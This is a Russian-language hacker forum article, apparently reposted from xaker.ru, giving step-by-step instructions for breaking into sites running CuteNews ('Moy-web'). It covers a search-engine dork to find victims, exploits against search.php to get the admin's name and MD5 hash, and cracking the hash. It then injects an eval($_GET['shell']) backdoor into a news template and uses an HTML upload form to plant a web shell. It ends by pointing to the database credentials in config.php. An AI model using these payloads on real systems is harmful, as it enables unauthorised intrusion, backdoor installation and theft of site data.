[Статья] Взлом сайта на Moy-web

[GracefulDead]

Заходим в админку

1. Поиск в гуглом:
© Project -= Moy-weB =-


2. После того как погуглили идем на целевой сайт и заходим в директорию /news/ если есть, то хорошо, если нет гуглим дальше.
Так же обязателен файл /news/search.php

3. Дальше используем сплоит для поиска админа

$target = 'http://localhost/cutenews.1.4.5/search.php';  здесь указываем путь к файлу search.php.

3. Следующим шагом будет использование сплоита для поиска MD5 хэша админа.
$target = 'http://localhost/cutenews.1.4.5/search.php'; Путь к файлу search.php
$username = 'waraxe'; Ник админа (получен с помощью первого сплоита).

Если не хотите использовать сплоиты, вы можете восплользоваться этим сайтом

4. Расшифровываем хэш. И идем в админку сайта - /news/

Заливаем шелл

1. Идем в Настройки - Редактировать шаблоны - Активные новости

2. Видим текстовое поле. Туда пишем:

HTML;
if(isset($_GET['shell'])) eval($_GET['shell']);

3. Далее проверяем news/show_news.php?shell=phpinfo();
Должна появиться информация о PHP. Приступаем к заливке шелла.

4. Создаем файл HTML :

<form action=http://site.com/news/show_news.php?shell=copy($_FILES[file][tmp_name],$_GET[aa]);&aa="локальный путь сайта"\news\shell.php 
method=post enctype=multipart/form-data> 
<input type=file name=file><br> 
<input type=submit value=Загрузить><br> 
</form>

5. Радуемся шеллу по адресу - [Ссылки могут видеть только зарегистрированные пользователи. ]

P.S. Данные для подключения к БД находятся в /config/config.php

Автор MERRON ©.Взято с xaker.ru